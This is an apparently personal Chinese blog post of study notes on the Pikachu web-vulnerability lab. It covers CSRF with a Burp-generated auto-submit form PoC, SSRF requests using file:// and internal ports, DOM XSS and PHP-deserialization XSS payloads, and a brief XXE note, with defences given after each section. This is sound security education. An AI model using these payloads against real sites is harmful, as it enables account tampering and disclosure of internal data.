pikachu

CSRF:

get型

先登录用户,比如lili

通过bp或者f12网络知道了url的修改信息有关参数。

/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=18235&add=usa&email=lili%40pikachu.com&submit=submit

切换用户如lucy

在lucy的登录后的页面上,url复制上述lili时的参数,回车。

发现lucy的信息被改为lili的了

post型

登录kobe用户,

姓名:kobe

性别:boy

手机:15988767673

住址:nba lakes

邮箱:…

通过bp抓包,右键工具菜单,生成csrf poc,复制写好的表单html文件,放到同文件夹下(csrfpost\),记为test.html。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:81/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="girl" />
<input type="hidden" name="phonenum" value="15988767673" />
<input type="hidden" name="add" value="nba&#32;lakes" />
<input type="hidden" name="email" value="kobe&#64;pikachu&#46;com" />
<input type="hidden" name="submit" value="submit" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

若用户访问该文件,则攻击完成。kobe用户的性别会被改变为girl。

防御

增加Token验证(常用做法)

对关键操作增加Token参数,token必须随机,每次都不一样

关于安全的会话管理(避免会话被利用)

  1. 不要在客户端保存敏感信息(比如身份验证信息)
  2. 退出、关闭浏览器时的会话过期机制
  3. 设置会话过机制,比如15分钟无操作,则自动登录超时

访问控制安全管理

  1. 敏感信息的修改时需要身份进行二次认证,比如修改账号密码,需要判断旧密码
  2. 敏感信息的修改使用POST,而不是GET
  3. 通过HTTP头部中的REFERER来限制原页面

增加验证码

一般在登录(防暴力破解),也可以用在其他重要信息操作的表单中(需要考虑可用性)
————————————————
版权声明:本文为CSDN博主「玉米同学」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_50339832/article/details/117606870

SSRF:

前置知识:

服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制

导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据

数据流:攻击者—–>服务器—->目标地址

1
2
3
4
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()

前期准备:

这里要开高版本php,5.3版本进入ssrf会报错。

演示

curl

页面所在路径为:

http://localhost:81/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1:81/pikachu/vul/ssrf/ssrf_info/info1.php

1.在ssrf_info文件夹下新建一个1.php文件

内容为:

alert(document.cookie)\"; ?>

2.利用file伪协议,访问host文件

http://localhost:81/pikachu/vul/ssrf/ssrf_curl.php?url=file://C:\Windows\System32\drivers\etc\hosts

3.利用http协议,获取内网端口信息

?url=http://127.0.0.1:3306

file_get_content:

对本地和远程的文件进行读取,把整个文件读入一个字符串中。(**file_get_contents()**只能通过GET方式获得数据。curl()可以进行DNS缓存,同一资源只需查询一次。更加快速且稳定,但配置较为麻烦,适合访问量大的应用)

主要是访问文件用的,file=file://…。

防御

1.做好对目标地址的过滤。使用DNS缓存或者Host白名单的方式。解析出要请求的地址所对应的 IP,如果这个 IP 是内网 IP 的话,就必须拒绝这次请求。

  1. 限制可以请求的协议,通常只允许 http/https 协议,避免被利用file,gopher等协议。

3.限制可以请求的端口号,通常情况下,http 协议只允许 80 端口访问;https 协议只允许 443 端口访问。

————————————————
版权声明:本文为CSDN博主「发奋的鼹鼠」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_43660551/article/details/124809230

Dom型xss:

DOM即文档对象模型,当一个页面被创建好,并加载到浏览器时,DOM就会把网页文档转化为一个文档对象,在这个文档对象中,会出现一个倒树的层次结构。

假如有这么一段html代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>

<head>

<title>文档标题</title>

</head>

<body>

<a href="">我的链接</a>

<h1>我的标题</h1>

</body>

</html>

文档对象模型所基于的文档视图结构为:

image-20230530131755990

把DOM理解为JS访问HTML的标准编程接口。DOM是纯前端的操作

1
2
3
4
5
6
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
</script>

易得,输入框中输入的便是str。

故构造payload

' onclick="alert(1)">

即有<a href=’ ‘ onclick="alert(1)">

php反序列化:

前置知识

php中serialize(),unserialize()

反序列化unserialize():将一个对象变为可传输的字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class S{
public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值

反序列化unserialize():将被序列化的字符串还原为对象

1
2
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu

这两个函数本身没有问题,但是如果后台不正当地使用了PHP中的魔法函数,将会导致安全问题。

即通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的。

常见的几个魔法函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
>__construct()  // 创建对象时触发
>__sleep() // 使用 serialize 时触发
>__wakeup() // 使用 unserialize 时触发
>__destruct() // 对象被销毁时触发
>__call() // 在对象上下文中调用不可访问的方法时触发
>__callStatic() // 在静态上下文中调用不可访问的方法时触发
>__get() // 用于从不可访问的属性读取数据
>__set() // 用于将数据写入不可访问的属性
>__isset() // 在不可访问的属性上调用 isset() 或 empty() 触发
>__unset() // 在不可访问的属性上使用 unset() 时触发
>__toString() // 把类当作字符串使用时触发
>__invoke() // 当脚本尝试将对象调用为函数时触发
>————————————————
>版权声明:本文为CSDN博主「imz丶」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
>原文链接:https://blog.csdn.net/yang1234567898/article/details/122147828

演示:

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
  class S{
var $test = "pikachu";
function __destruct(){
echo $this->test;
}
}
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}

}

该代码逻辑为,你的输入需要是一个序列化的结果

代码尝试将反序列化后的对象赋值给变量 $unser。如果反序列化成功,即 $s 是一个有效的序列化字符串并可以还原为对象,那么变量 $unser 将不为 false,条件 if(!@$unser = unserialize($s)) 将为假,执行else中的语句,可以用xss啊之类的有害语句。

写个代码

1
2
3
4
5
6
7
8
<?php
class S{
public $test="<script>alert('xss')</script>";
}
$s=new S(); //创建一个对象
echo serialize($s); //把这个对象进行序列化
echo "123";
?>

构造一下:O:1:”S”:1:{s:4:”test”;s:6:”test12”;},会输出test12

那构造xss攻击

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

也可以执行其他攻击,如 文件包含、命令执行等。

防御方法:

严格控制用户输入

对传入的反序列化参数进行严格过滤

xxe

以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。

本章提供的案例中,为了模拟漏洞,通过手动指定LIBXML_NOENT选项开启了xml外部实体解析。

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信